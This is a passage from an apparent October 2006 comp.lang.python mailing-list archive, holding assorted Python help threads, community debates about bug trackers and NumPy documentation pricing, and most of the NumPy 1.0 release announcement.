<61JVg.138429$_J1.903927@twister2.libero.it> References: <61JVg.138429$_J1.903927@twister2.libero.it> Message-ID: Giovanni Bajo wrote: > Did you try using an old-style class instead of a new-style class? The original program has an old style class, changing it to a new style class increases run time by 25% (version is 2.4.3 btw). -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From ilias at lazaridis.com Thu Oct 12 00:46:42 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 11 Oct 2006 21:46:42 -0700 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> <1160622492.360486.207270@m73g2000cwd.googlegroups.com> Message-ID: <1160628402.244331.197840@b28g2000cwb.googlegroups.com> Peter Decker wrote: > On 11 Oct 2006 20:08:12 -0700, Ilias Lazaridis wrote: > > > > Well, then, why not contribute? Or are you waiting for everyone else > > > to do it for you? > > > > I've contributed already (my contructive criticism). > > > > It's up to the team to react. > > Wow! What a contribution! Amazing that Dabo hasn't taken over the > world with that sort of help pouring in! > > Anybody can criticize. It's easy to find fault; it's much harder to > create something valuable. [REQUOTE] I share the infrastructure which I use: http://dev.lazaridis.com/base [/REQUOTE] > I saw the references to your being a troll, and thought I'd give you > the benefit of the doubt. Guess I'm still too optimistic. No. You're just ignoring given facts in a controlled manner. Like many other people of this community. And that's the main reason why python does not move forward in the speed it could. . From exarkun at divmod.com Thu Oct 26 22:33:53 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Thu, 26 Oct 2006 22:33:53 -0400 Subject: Tracing the execution of scripts? In-Reply-To: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> Message-ID: <20061027023353.20948.138215951.divmod.quotient.1674@ohm> On Thu, 26 Oct 2006 21:52:42 -0400, "Michael B. Trausch" wrote: >Alright, I seem to be at a loss for what I am looking for, and I am not >even really all that sure if it is possible or not. I found the 'pdb' >debugger, but I was wondering if there was something that would trace or >log the order of line execution for a multi-module Python program. I am >having a little bit of a problem tracking down a problem that I >mentioned earlier >(http://groups.google.com/group/comp.lang.python/msg/9c759fc888b365be), >and I am hoping that maybe seeing how the statements are executed will >shed some light on the entire thing for me. > >The debugger isn't working, though, because I have a timer set up to >fire off every 20ms to check for incoming network traffic from the >server, and that timer firing off makes stepping through with the >debugger seemingly impossible to get any useful data. > >Basically, is there something that will log every line of Python code >executed, in its order of execution, to a text file so that I can see >what is (or isn't) happening that I am expecting? I know that the >server is sending and receiving properly, because I can connect to it >with a regular telnet client and it works -- but at the same time, >everything I can think of to check my program's functionality checks out >just fine (e.g., it reports that it is successfully sending what I am >typing to the server, and it says that the server is not sending >anything back to be read from the socket). > >If it makes any difference, I am using wxWidgets' Python bindings for >the UI code (and the timer), and using Python's socket library for the >network stuff. In order of importance: 1) Write unit tests for your code. Keep writing unit tests until you have some that _don't pass_. Then fix your code so that they do. When you do further development, write the tests first, then implement the code that makes them pass. 2) Don't use threads. At least have a way to not use threads while you're debugging. Debugging with threads is very difficult. (Actually I'm not sure if you're using threads. If you're not, feel free to ignore this point.) 3) Don't poll for network events every 20ms. If you have a sensible event loop you'll find debugging and testing much easier. 4) Use an existing library instead of developing a new one. 5) (Only included so I don't look like a _complete_ jerk. If you get this far and you haven't fixed the problem yet, consider this a booby prize.) http://divmod.org/trac/browser/trunk/Epsilon/epsilon/spewer.py Jean-Paul From Leo.Kislov at gmail.com Wed Oct 18 18:59:05 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 18 Oct 2006 15:59:05 -0700 Subject: characters in python References: <1161211582.976493.88330@i3g2000cwc.googlegroups.com> Message-ID: <1161212345.445863.132350@m7g2000cwm.googlegroups.com> Leo Kislov wrote using google groups beta: > On Oct 18, 11:50 am, Stens wrote: > > Stens wrote: > > > Can python handle this characters: c,c,?,d,?? [snip] > outfile.write(line.replace(u'd',u'd')) I hope you'll do better than google engeers who mess up croatian characters in new google groups. Of course the last 'd' should be latin d with stroke. I really typed it but google swallowed the stroke. From scott.daniels at acm.org Fri Oct 6 14:37:02 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Fri, 06 Oct 2006 11:37:02 -0700 Subject: switching to numpy and failing, a user story In-Reply-To: <1160151980.338496.225670@m7g2000cwm.googlegroups.com> References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> <1159984398.088012.209640@k70g2000cwa.googlegroups.com> <1160142732.752533.266840@m7g2000cwm.googlegroups.com> <1160151980.338496.225670@m7g2000cwm.googlegroups.com> Message-ID: <45269a4f$1@nntp0.pdx.net> Istvan Albert wrote: > sturlamolden wrote: > >> Those involved in the development of NumPy must receive some >> compensation. Financial support to NumPy also ensure that the >> developmentcan continue. I for one does not want to see NumPy as > > Then charge for NumPy ... or write a book *besides* .... > Charging for docs is just shooting yourself in the foot. You overlook the fact that this pricing model means that a developer can produce some software, and freely deliver that software (with all needed libraries) to a customer at a price that needn't be so high as to make each of the programmer's customers pay as if they are using the full library. --Scott David Daniels scott.daniels at acm.org From steve at holdenweb.com Wed Oct 11 03:30:08 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 11 Oct 2006 08:30:08 +0100 Subject: OT: Sarcasm and irony In-Reply-To: <1160544879.915425.250200@m7g2000cwm.googlegroups.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> <1160544879.915425.250200@m7g2000cwm.googlegroups.com> Message-ID: mensanator at aol.com wrote: [...] > Any? Don't people plan June weddings thinking the weather > will be nice? And isn't one of the defintions of irony when > things turn out the opposite of what you expect? > But rain at a June wedding isn't truly ironic since it isn't the result of the planners' actions. It would be ironic if I chose to get married in June and then all the people I invited instead chose to attend a conference because I wasn't going to be there. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From anthra.norell at vtxmail.ch Tue Oct 3 09:18:33 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Tue, 03 Oct 2006 15:18:33 +0200 Subject: Operator += works once, fails if called again In-Reply-To: <1159826142.367463.76030@h48g2000cwc.googlegroups.com> References: <1159826142.367463.76030@h48g2000cwc.googlegroups.com> Message-ID: <45226329.6070602@vtxmail.ch> John Machin wrote: > Frederic Rentsch wrote: > >> Hi all, >> >> I have a class Time_Series derived from list. It lists days and >> contains a dictionary of various Lists also derived from list which >> contain values related to said days. (e.g. Stock quotes, volumes traded, >> etc.) >> I defined an operator += which works just fine, but only once. If I >> repeat the operation, it fails and leaves me utterly mystified and crushed. >> >> Craving to be uncrushed by a superior intelligence. >> >> Frederic >> >> >> --------------------------------------------------------------- >> >> A test: >> >> > [perfection snipped] > > >> Perfect! >> >> >>> TS1 += TS2 # Second call >> >> Traceback (most recent call last): >> File "", line 1, in -toplevel- >> TS += TS2 >> File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1314, in __iadd__ >> return self.__add__ (other) >> File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1273, in __add__ >> Sum = copy.deepcopy (self) >> File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy >> y = _reconstruct(x, rv, 1, memo) >> File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct >> state = deepcopy(state, memo) >> File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy >> y = copier(x, memo) >> File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict >> y[deepcopy(key, memo)] = deepcopy(value, memo) >> File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy >> y = copier(x, memo) >> File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict >> y[deepcopy(key, memo)] = deepcopy(value, memo) >> File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy >> y = _reconstruct(x, rv, 1, memo) >> File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct >> state = deepcopy(state, memo) >> File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy >> y = copier(x, memo) >> File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict >> y[deepcopy(key, memo)] = deepcopy(value, memo) >> File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy >> y = _reconstruct(x, rv, 1, memo) >> File "C:\PYTHON24\lib\copy.py", line 320, in _reconstruct >> y = callable(*args) >> File "C:\PYTHON24\lib\copy_reg.py", line 92, in __newobj__ >> > > Oho! What's it doing there, in copy_reg.py? Something has stashed away > a reference to copy_reg.__newobj__, and the stasher is *not* the copy > module .... > > >> return cls.__new__(cls, *args) >> TypeError: instancemethod expected at least 2 arguments, got 0 >> > > >From a quick browse through the code for copy.py and copy_reg.py [Isn't > open source a wonderful thing?], I'm guessing: > (1) The "cls" is *your* class. You can confirm that with a debugger > (or by hacking in a print statement!). > (2) You may need to read this in the copy docs: > """ > Classes can use the same interfaces to control copying that they use to > control pickling. See the description of module pickle for information > on these methods. The copy module does not use the copy_reg > registration module. > """ > (3) You may need to read this in the pickle docs: > """ > New-style types can provide a __getnewargs__() method that is used for > protocol 2. Implementing this method is needed if the type establishes > some internal invariants when the instance is created, or if the memory > allocation is affected by the values passed to the __new__() method for > the type (as it is for tuples and strings). Instances of a new-style > type C are created using > obj = C.__new__(C, *args) > where args is the result of calling __getnewargs__() on the original > object; if there is no __getnewargs__(), an empty tuple is assumed. > """ > (4) You may need to debug your pickling/unpickling before you debug > your deepcopying. > (5) Look at function _copy_inst at line 134 in copy.py -- work out what > it will do with your class instance, depending on what __magic__ > method(s) you have implemented. > > Hope some of this helps, > John > > John, Thank you very much for your suggestions. I followed them one by one and in the end found the cause of the problem to be a circular reference. Some species of contained Lists need a reference to the containing Time_Series and that circular reference trips up deepcopy. Supposedly I can define my own __deepcopy__, but didn't understand whose method it is supposed to be. Time_Series.__deepcopy__ () doesn't make sens, nor does it work. Time_Series should be the argument of the method not the owner. Anyway, I managed without deepcopy making a new instance and loading it as I would, if it were the first one. Thanks again Frederic From mensanator at aol.com Fri Oct 13 02:32:43 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 12 Oct 2006 23:32:43 -0700 Subject: Starting out. In-Reply-To: <452f06a8$0$5108$afc38c87@news.optusnet.com.au> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160696990.5969.4.camel@dsktp> <452f06a8$0$5108$afc38c87@news.optusnet.com.au> Message-ID: <1160721163.418861.269450@f16g2000cwb.googlegroups.com> Richard Jones wrote: > Tim Chase wrote: > > typed with just the top-row of keys > > '^[qwertyuiop]*$' > > The longest being "typewriter" :) Maybe you should say "amongst the longest" pepperwort perpetuity perruquier pirouetter proprietor repertoire typewriter But even that would be wrong. rupturewort > > > > hey, look, it's Friday From fredrik at pythonware.com Thu Oct 5 13:38:10 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 05 Oct 2006 19:38:10 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> Message-ID: Michael Str?der wrote: > Glancing over this thread I wonder what these people are supposed to do. > Any list of requirements available? from the original announcement (linked from the first post in this thread): "In order for Roundup to be considered equivalent in terms of an overall tracker package there needs to be a sufficient number of volunteer admins (roughly 6 - 10 people) who can help set up and maintain the Roundup installation. /.../ If people want Roundup to be considered the tracker we go with by volunteering to be an admin, please email infrastructure at python.org and state your time commitment, the timezone you would be working from, and your level of Roundup knowledge. Please email the committee by October 16." From kent at kentsjohnson.com Tue Oct 17 15:37:14 2006 From: kent at kentsjohnson.com (Kent Johnson) Date: Tue, 17 Oct 2006 19:37:14 GMT Subject: command text parsing and hints displaying on user input. In-Reply-To: <1160983157.270102.68630@m73g2000cwd.googlegroups.com> References: <1160983157.270102.68630@m73g2000cwd.googlegroups.com> Message-ID: <453530EA.4080308@kentsjohnson.com> Andy wrote: > Hi guys, > > I'm writing a program with a feature of accepting user input as command > text and parsing it to correct function calls...example: > > "5 minutes later"/"5 min later"/"5 minute later"/"after 5 minutes"... > are being parsed as the same rule so the system will call a later > function with minutes=5 as parameter. Maybe one of these will help: http://cheeseshop.python.org/pypi/parsedatetime/0.7.4 http://cheeseshop.python.org/pypi/when/1 Kent From cjw at sympatico.ca Thu Oct 26 08:29:29 2006 From: cjw at sympatico.ca (Colin J. Williams) Date: Thu, 26 Oct 2006 08:29:29 -0400 Subject: What's the best IDE? In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> Message-ID: Josh Bloom wrote: > I'm not going to call it the 'best' ide as thats just silly. > > But if your developing on Windows pyscripter > http://mmm-experts.com/Products.aspx?ProductId=4 is a great IDE. > > -Josh > +1 Colin W. From manuelg at gmail.com Wed Oct 25 13:02:56 2006 From: manuelg at gmail.com (manuelg) Date: 25 Oct 2006 10:02:56 -0700 Subject: Python's CRT licensing on Windows <-- FUD References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com> <1161794422.707799.273200@b28g2000cwb.googlegroups.com> Message-ID: <1161795776.146696.253500@e3g2000cwe.googlegroups.com> sturlamolden wrote: > I certainly don't understand the EULA, and thus I cannot make sure that > I lawyer understands it either. But I can certainly find a lawyer that > charges $$$$ an hour and pretends to understand it. I am sure buying a > copy of VC7 is a lot cheaper. When you buy that copy of VC7, buy me one too. By your logic, it will _still_ be cheaper than $$$$ for a lawyer, so you win! Thanks in advance! From fredrik at pythonware.com Tue Oct 3 05:06:44 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 03 Oct 2006 11:06:44 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: Robert Kern wrote: >> Does this smell "Bitkeeper fiasco" to anyone else than me? > > No. that's just not true. lots of people have voiced concerns over using closed-sourced stuff originally designed for enterprise-level Java users for an application domain where Python has several widely used agile alternatives to chose from. if they hadn't done so, there probably wouldn't have been an evaluation period in the first place. From keir.robinson at gmail.com Wed Oct 4 09:34:53 2006 From: keir.robinson at gmail.com (keirr) Date: 4 Oct 2006 06:34:53 -0700 Subject: dictionary of list from a file References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> Message-ID: <1159968893.610330.151600@b28g2000cwb.googlegroups.com> andrea.spitaleri at gmail.com wrote: > in python I tried: > b={} > a=[] > for line in fl.readlines(): > info=lines.split() > b[info[0]] = a.append(info[1]) > > and then > for i in b: > print i,b[i] > i get > 2 None > 7 None > > data file is: > 2 1 > 2 2 > 2 3 > 2 4 > 7 7 > 7 8 > 7 9 > 7 10 > > Any help?? Andrea, first the append method returns None, as you have discovered; it makes an inplace update (to a in your example) but does not return the list it has updated. This has surprised a few people in the past :-) Here is what I've used before for updating lists values in a dictionary. d[key] = d.get(key, []) + [value] where d is a dict(ionary) Hope this helps. Keir. From gagsl-py at yahoo.com.ar Wed Oct 18 18:11:31 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 18 Oct 2006 19:11:31 -0300 Subject: Getting method name from within the class method In-Reply-To: <20061018145926.0e8d3277@opal.pathscale.com> References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> <20061018145926.0e8d3277@opal.pathscale.com> Message-ID: <7.0.1.0.0.20061018191106.056f6e38@yahoo.com.ar> At Wednesday 18/10/2006 18:59, Mitko Haralanov wrote: > > >>> class test(object): > > ... def a_method(self,this,that): > > ... print self.a_method.__name__ > >Doing the above will obviously work! > >However, I don't want to have to use the name of the function in the >print statement (the ".a_method." part). Imagine having about 100 of >the above print statements in the function and then you change the name >of the function. I want all 100 of the print statements to work without >having to change every one of them to reflect the new function name. Use the inspect module. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From nogradi at gmail.com Thu Oct 5 15:09:52 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Thu, 5 Oct 2006 21:09:52 +0200 Subject: CGI Tutorial In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> Message-ID: <5f56302b0610051209w731a6cc6s3f67a1f13dcafcae@mail.gmail.com> > I'm just building a Python CGI Tutorial and would appreciate any > feedback from the many experts in this list. > > Regards, Clodoaldo Pinto Neto > Perhaps you want to post this to the mod_python list as well: http://mailman.modpython.org/mailman/listinfo/mod_python From tim.golden at viacom-outdoor.co.uk Mon Oct 9 10:13:43 2006 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Mon, 9 Oct 2006 15:13:43 +0100 Subject: file system iteration In-Reply-To: Message-ID: [Rick] | Searching for a file by name. Scanning for viruses. Etc. | There are lots | of legitimate reason to walk all paths from a central | starting point, no??? Well, to get you started, I think this is the kind of thing you'll want. Uses ctypes, which is built-in to Python 2.5 so presumably legit. import ctypes import string GetDriveType = ctypes.windll.kernel32.GetDriveTypeA for letter in string.uppercase: print letter, "=>", GetDriveType ("%s:" % letter) You'll have to refer to http://windowssdk.msdn.microsoft.com/en-us/library/ms685874.aspx and various headers to get the values in question, but they look quite straightforward at a glance. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From hanumizzle at gmail.com Fri Oct 13 10:28:00 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 10:28:00 -0400 Subject: sufficiently pythonic code for testing type of function In-Reply-To: <452cd0df$0$11417$426a74cc@news.free.fr> References: <452cab5d$0$5294$426a74cc@news.free.fr> <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com> <452cd0df$0$11417$426a74cc@news.free.fr> Message-ID: <463ff4860610130728sa3ebe7am4f9ee192a14c49c7@mail.gmail.com> On 10/11/06, Bruno Desthuilliers wrote: > Theerasak Photha wrote: > > On 10/11/06, Fredrik Lundh wrote: > > > >> can be a lot better than a 30-level traceback that ends with a line > >> looking something like > >> > >> fnut.index(gah) > > > > Despite long experience with Perl, I am not a big follower of the > > "goose_level: blah" method of error reporting... > > > >> also, checking for __method__ is, in general, not the right way to check > >> if an object implements a given interface. > > > > I had a vague feeling it might not be a Right Thing(tm). > > I kind of miss > > responds_to? > > getattr(obj, name[,default]) is your friend. Remember that methods are > just callable attributes. I am familiar with getattr from the Introspection material in Dive into Python of course. Earlier in the thread we decided that using getattr is the Wrong Way(tm) to decide whether an object has such and such operation (respond_to?) because implementation details can hide this. So I learned the best thing to do is Suck It And See (an electrical joke, not a penis joke, BION) aka EAFP. I just found out Ruby isn't much better in this regard: class Foo def self.method_missing(meth, *args) puts meth end end Foo.bar() puts Foo.respond_to?(:bar) ===> bar false WTF? -- Theerasak From python.list at tim.thechases.com Wed Oct 18 12:37:25 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Wed, 18 Oct 2006 11:37:25 -0500 Subject: Dictionaries In-Reply-To: <1161188023.121408.194870@m7g2000cwm.googlegroups.com> References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> <1161188023.121408.194870@m7g2000cwm.googlegroups.com> Message-ID: <45365845.8030103@tim.thechases.com> > However It does not work as I would need. > Let's suppose I have > > a={'c':1,'d':2} > b={'c':2} > but > a.update(b) > will make > {'c': 2, 'd': 2} > > and I would need > {'c': 3, 'd': 2} Ah...a previously omitted detail. There are likely a multitude of ways to do it. However, the one that occurs to me off the top of my head would be something like dict((k, a.get(k, 0) + b.get(k, 0)) for k in a.keys()+b.keys()) If the sets are huge, you can use itertools >>> from itertools import chain >>> dict((k, a.get(k, 0) + b.get(k, 0)) for k in chain(a.keys(),b.keys())) {'c': 3, 'd': 2} which would reduce the need for creating the combined dictionary, only to throw it away. -tkc From fredrik at pythonware.com Sun Oct 22 07:47:22 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 22 Oct 2006 13:47:22 +0200 Subject: Py 2.5: Bug in sgmllib In-Reply-To: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net> References: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net> Message-ID: Michael Butscher wrote: > if I execute the following two lines in Python 2.5 (to feed in a > *unicode* string): > > import sgmllib > sgmllib.SGMLParser().feed(u'') source documents are encoded byte streams, not decoded Unicode sequences. I suggest reading up on how Python's Unicode string type is, and what a Unicode string represents. it's not the same thing as a byte string. From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Thu Oct 26 12:49:24 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Thu, 26 Oct 2006 18:49:24 +0200 Subject: Printing Hidden Character in Python References: Message-ID: <4qc78kFm34hdU2@individual.net> Wijaya Edward wrote: > How can we print out the hidden character like > "\n", "\r" etc in Python? Try repr(var)[1:-1] CMIIW. :) Regards, Bj?rn -- BOFH excuse #271: The kernel license has expired From irmen.NOSPAM at xs4all.nl Fri Oct 27 13:28:46 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Fri, 27 Oct 2006 19:28:46 +0200 Subject: How set the source IP adress In-Reply-To: References: Message-ID: <454241d1$0$327$e4fe514c@news.xs4all.nl> Maksim Kasimov wrote: > Hi, > > how to set source ip-address when do __socket.connect((host, port)) > on a machine that have a several ip-adresses? > > many thanks for advice. > > __socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > __socket.connect((host, port)) > > sock.connect ( ('11.22.33.44', 9999) ) i.e. just put the ip address as string parameter into the connect address tuple (where you wrote: host) --Irmen From metaperl.etc at gmail.com Wed Oct 4 03:34:13 2006 From: metaperl.etc at gmail.com (metaperl.etc at gmail.com) Date: 4 Oct 2006 00:34:13 -0700 Subject: Roundup Issue Tracker release 1.1.3 In-Reply-To: References: Message-ID: <1159947253.283452.178580@b28g2000cwb.googlegroups.com> Richard Jones wrote: > I'm proud to release version 1.1.3 of Roundup. > five database back-ends (anydbm, sqlite, metakit, > mysql and postgresql). That ORM is pretty impressive: http://roundup.sourceforge.net/doc-1.0/design.html#roundup-database I like how easy it is to specify m-to-n relations. Is it possible to have a table with a multi-column primary key? From apardon at forel.vub.ac.be Fri Oct 27 06:09:27 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 27 Oct 2006 10:09:27 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-26, Steve Holden wrote: > John Coleman wrote: >> As far as using non-booleans as conditions - I just think that if you >> want a certain block of code to be executed only if, for example, a >> list is non-empty, why not *say* so? I think "if my_list != []:" just >> reads better than "if my_list:". I would think that my preferences >> there mesh with "Explicit is better than implicit" but apparently not. >> > Maybe so, but that "rule" (and let's not forget that the zen is not > actually a set of prescriptive rules but rather guidelines for the > informed) is immediately preceded by the most important "rule" of all: > "Beautiful is better than ugly". Nobody will shout at you (well, > hopefully, not on this list they won't) for writing > > if my_list != []: > ... That depends on what you consider as shouting. My impression is that if people come here with a problem and post a sample of code to illustrate. That if that code would contain something like the above about half of the responses will be about the code not following python idiom without further providing anything helpfull with the actual problem. Now you may not consider that as shouting but I guess it can be just as intimidating. >> > It probably will, but I wouldn't get too hung up on what's definitely a > small point. Enjoy Python the way it is, and the way you are. You and > Python will definitely come to an accommodation (and you will love the > combination of discipline and freedom that it brings to programming > style). Welcome to the language! I'll second that. Python has it warts, but so has any language. Chances are John will find the warts of python are minor issues compared with other languages. -- Antoon Pardon From carsten at uniqsys.com Fri Oct 20 15:40:34 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Fri, 20 Oct 2006 15:40:34 -0400 Subject: why does this unpacking work In-Reply-To: <1161373060.23516.67.camel@dot.uniqsys.com> References: <1161373060.23516.67.camel@dot.uniqsys.com> Message-ID: <1161373233.23516.69.camel@dot.uniqsys.com> On Fri, 2006-10-20 at 15:37, Carsten Haese wrote: > for x in t: > y,z = t > # do something with y and z Typo here, of course I mean y,z = x. -Carsten From oliphant.travis at ieee.org Thu Oct 26 13:24:25 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Thu, 26 Oct 2006 11:24:25 -0600 Subject: [ANN] NumPy 1.0 release Message-ID: <4540EF49.1040605@ieee.org> We are very pleased to announce the release of NumPy 1.0 available for download at http://www.numpy.org This release is the culmination of over 18 months of effort to allow unification of the Numeric and Numarray communities. NumPy provides the features of both packages as well as comparable speeds in the domains where both were considered fast --- often beating both packages on certain problems. If there is an area where we can speed up NumPy then we are interested in hearing about the solution. NumPy is essentially a re-write of Numeric to include the features of Numarray plus more. NumPy is a C-based extension module to Python that provides an N-dimensional array object (ndarray), a collection of fast math functions, basic linear algebra, array-producing random number generators, and basic Fourier transform capabilities. Also included with NumPy are: 1) A data-type object. The data-type of all NumPy arrays are defined by a data-type object that describes how the block of memory that makes up an element of the array is to be interpreted. Supported are all basic C-types, structures containing C-types, arrays of C-types, and structures containing structures of C-types. Data-types can also be in big or little-endian order. NumPy arrays can therefore be constructed from any regularly-sized chunk of data. A chunk of data can also be a pointer to a Python object and therefore Object arrays can be constructed (including record arrays with object members). 2) Array scalars: there is a Python scalar object (inheriting from the standard object where possible) defined for every basic data-type that an array can have. 2) A matrix object so that '*' is re-defined as matrix-multiplication and '**' as matrix-power. 3) A character array object that can replace Numarray's similarly-named object. It is basically an array of strings (or unicode) with methods matching the string and unicode methods. 4) A record array that builds on the advanced data-type support of the basic array object to allow field access using attribute look-up as well as to provide more ways to build-up a record-array. 5) A memory-map object that makes it easier to use memory-mapped areas as the memory for an array object. 6) A basic container class that uses the ndarray as a member. This often facilitates multiple-inheritance. 7) A large collection of basic functions on the array. 8) Compatibility layer for Numeric including code to help in the conversion to NumPy and full C-API support. 9) Compatibility layer for NumPy including code to help in the conversion to NumPy and full C-API support. NumPy can work with Numeric and Numarray installed and while the three array objects are different to Python, they can all share each other's data through the use of the array interface. As the developers for Numeric we can definitively say development of Numeric has ceased as has effective support. You may still find an answer to a question or two and Numeric will be available for download as long as Sourceforge is around so and code written to Numeric will still work, but there will not be "official" releases of Numeric for future versions of Python (including Python2.5). The development of NumPy has been supported by the people at STScI who created Numarray and support it. They have started to port their applications to NumPy and have indicated that support for Numarray will be phased out over the next year. You are strongly encouraged to move to NumPy. The whole point of NumPy is to unite the Numeric/Numarray development and user communities. We have done our part in releasing NumPy 1.0 and doing our best to make the transistion as easy as possible. Please support us by adopting NumPy. If you have trouble with that, please let us know why so that we can address the problems you identify. Even better, help us in fixing the problems. New users should download NumPy first unless they need an older package to work with third party code. Third-party package writers should migrate to use NumPy. Though it is not difficult, there are some things that have to be altered. Several people are available to help with that process, just ask (we will do it free for open source code and as work-for-hire for commercial code). This release would not have been possible without the work of many people. Thanks go to (if we have missed your contribution please let us know): * Travis Oliphant for the majority of the code adaptation (blame him for code problems :-) ) * Jim Hugunin, Paul Dubois, Konrad Hinsen, David Ascher, Jim Fulton and many others for Numeric on which the code is based. * Perry Greenfield, J Todd Miller, Rick White, Paul Barrett for Numarray which gave much inspiration and showed the way forward. * Paul Dubois for Masked Arrays * Pearu Peterson for f2py and numpy.distutils and help with code organization * Robert Kern for mtrand, bug fixes, help with distutils, code organization, and much more. * David Cooke for many code improvements including the auto-generated C-API and optimizations. * Alexander Belopolsky (Sasha) for Masked array bug-fixes and tests, rank-0 array improvements, scalar math help and other code additions * Francesc Altet for unicode and nested record tests and much help with rooting out nested record array bugs. * Tim Hochberg for getting the build working on MSVC, optimization improvements, and code review * Charles Harris for the sorting code originally written for Numarray and for improvements to polyfit, many bug fixes, and documentation strings. * Robert Cimrman for numpy.distutils help and the set-operations for arrays * David Huard for histogram code improvements including 2-d and d-d code * Eric Jones for sundry subroutines borrowed from scipy_base * Fernando Perez for code snippets, ideas, bugfixes, and testing. * Ed Schofield for matrix.py patches, bugfixes, testing, and docstrings. * John Hunter for code snippets (from matplotlib) * Chris Hanley for help with records.py, testing, and bug fixes. * Travis Vaught, Joe Cooper, Jeff Strunk for administration of numpy.org web site and SVN * Andrew Straw for bug-reports and help with www.scipy.org * Albert Strasheim for bug-reports, unit-testing and Valgrind runs * Stefan van der Walt for bug-reports, regression-testing, and bug-fixes. * Eric Firing for bugfixes. * Arnd Baecker for 64-bit testing * A.M. Archibald for code that decreases the number of times reshape makes a copy. More information is available at http://numpy.scipy.org and http://www.scipy.org. Bug-reports and feature requests should be submitted as tickets to the Trac pages at http://projects.scipy.org/scipy/numpy/ As an anti-SPAM measure, you must create an account in order to post tickets. Enjoy the new release, Sincerely, The NumPy Developers *Disclaimer*: The main author, Travis Oliphant, has written a 350+ page book entitled "Guide to NumPy" that documents the new system fairly thoroughly. The first two chapters of this book are available on-line for free, but the remainder 